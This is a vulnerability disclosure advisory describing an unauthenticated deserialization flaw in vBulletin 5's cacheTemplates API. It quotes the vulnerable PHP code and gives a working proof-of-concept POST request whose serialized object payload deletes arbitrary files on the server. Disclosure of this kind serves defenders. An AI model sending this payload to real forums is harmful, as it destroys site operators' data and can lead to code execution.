SSD Advisory – vBulletin cacheTemplates Unauthenticated Remote Arbitrary File Deletion

blogs.securiteam.com/index.php/archives/3573

Vulnerability Summary
The following advisory describes a unauthenticated deserialization vulnerability that leads to arbitrary delete files and, under certain circumstances, code execution found in vBulletin version 5.

vBulletin, also known as vB, is "a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage".

Credit
A security researcher from, TRUEL IT (@truel_it), has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response
We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.

Vulnerability details
Unsafe usage of PHP's unserialize() on user-supplied input allows an unauthenticated attacker to delete arbitrary files and, under certain circumstances, execute arbitrary code on a vBulletin installation.

vB_Library_Template's cacheTemplates() function, which is an publicly exposed API which allows to fetch information on a set of given templates from the database in order to store them inside a cache variable.

File core/vb/api/template.php – function cacheTemplates():

```
1  public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,
2  $force_set = false)
3  {
4  return vB_Library::instance('template')->cacheTemplates($templates, $templateidlist, $skip_bbcode_style, $for
```

Let's take a look at $templateidlist – core/vb/library/template.php – function cacheTemplates():

```
1  public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,
2  $force_set = false)
3  {
4  $vboptions = vB::getDatastore()
5  // vB_Library_Style::switchCssStyle() may pass us a templateidlist that's already unserialized.
6  if (!is_array($templateidlist))
7  {
8    $templateidlist = unserialize($templateidlist);
9  }
10 foreach ($templates AS $template)
11 {
12   if (isset($templateidlist[$template]))
13   {
14    $templateids[] = intval($templateidlist[$template]);
15   }
16 }
17 if (!empty($templateids))
18 {
19   $temps = vB::getDbAssertor(array('title', 'textonly', 'template_un', 'template'));
20   // cache templates
21   foreach ($temps as $temp)
22   {
23    if (empty(self::$templatecache["$temp[title]"]) OR $force_set)
24    {
25     self::$templatecache["$temp[title]"] = $this;
26    }
27   }
28 }
29 if (!$skip_bbcode_style)
30 {
31   self::$bbcode_style = array(
32    'code' => &$templateassoc['bbcode_code_styleid'],
33    'html' => &$templateassoc['bbcode_html_styleid'],
34    'php' => &$templateassoc['bbcode_php_styleid'],
35    'quote' => &$templateassoc['bbcode_quote_styleid']
36   );
37 }
38 }
```

$temnplateidlist variable, which can come directly from user-input, is directly supplied to unserialize(), resulting in an arbitrary deserialization primitive.

Proof of Concept

By sending the following POST request an unauthenticated attacker can delete files from the victims server

```
1  POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1
2  Host: vb533.test
3  Pragma: no-cache
4  Cache-Control: no-cache
5  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like
6  Gecko) Chrome/61.0.3163.100 Safari/537.36
7  Upgrade-Insecure-Requests: 1
8  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
9  Accept-Encoding: gzip, deflate
10 Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
11 Connection: close
12 Content-Type: application/x-www-form-urlencoded
13 Content-Length: 125
14
15 templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"%00*%00imagefilelocation";s:13:"/path/to/file";}
```

The server then will respond with:

```
1  HTTP/1.1 200 OK
2  Date: Fri, 27 Oct 2017 09:27:52 GMT
3  Server: Apache/2.4.18 (Ubuntu)
4  Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly
5  Set-Cookie: lastvisit=1509096472; path=/; HttpOnly
6  Set-Cookie: lastactivity=1509096472; path=/; HttpOnly
7  Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly
8  Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
9  Expires: Sat, 1 Jan 2000 01:00:00 GMT
10 Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT
11 Pragma: no-cache
12 Vary: Accept-Encoding
13 Content-Length: 2101
14 Connection: close
15 Content-Type: application/json; charset=UTF-8
16
17 {"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]}
```